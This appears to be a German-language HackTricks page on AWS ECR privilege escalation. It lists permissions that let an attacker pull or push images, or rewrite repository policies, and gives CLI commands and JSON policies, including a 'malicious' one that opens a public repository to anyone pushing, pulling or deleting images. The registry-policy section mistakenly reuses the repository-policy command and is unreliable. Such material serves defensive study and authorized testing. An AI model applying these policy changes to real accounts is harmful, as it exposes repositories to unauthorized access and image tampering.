AWS - ECR Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Ein Angreifer mit der ecr:GetAuthorizationToken
und ecr:BatchGetImage
kann sich bei ECR anmelden und Bilder herunterladen.
Für weitere Informationen zum Herunterladen von Bildern:
Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Abfangen sensibler Informationen im Verkehr.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Bilder hochladen. Dies kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.
Um zu lernen, wie man ein neues Bild hochlädt oder ein bestehendes aktualisiert, siehe:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Wie im vorherigen Abschnitt, aber für öffentliche Repositories.
ecr:SetRepositoryPolicy
Ein Angreifer mit dieser Berechtigung könnte die Repository Richtlinie ändern, um sich selbst (oder sogar allen) Lese-/Schreibzugriff zu gewähren.
Zum Beispiel wird in diesem Beispiel allen Lesezugriff gewährt.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Inhalt von my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Wie im vorherigen Abschnitt, aber für öffentliche Repositories.
Ein Angreifer kann die Repository-Richtlinie eines ECR Public Repositories ändern, um unbefugten öffentlichen Zugriff zu gewähren oder um seine Berechtigungen zu eskalieren.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Potenzielle Auswirkungen: Unbefugter öffentlicher Zugriff auf das ECR Public-Repository, der es jedem Benutzer ermöglicht, Bilder zu pushen, zu pullen oder zu löschen.
ecr:PutRegistryPolicy
Ein Angreifer mit dieser Berechtigung könnte die Registry-Richtlinie ändern, um sich selbst, seinem Konto (oder sogar allen) Lese-/Schreibzugriff zu gewähren.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.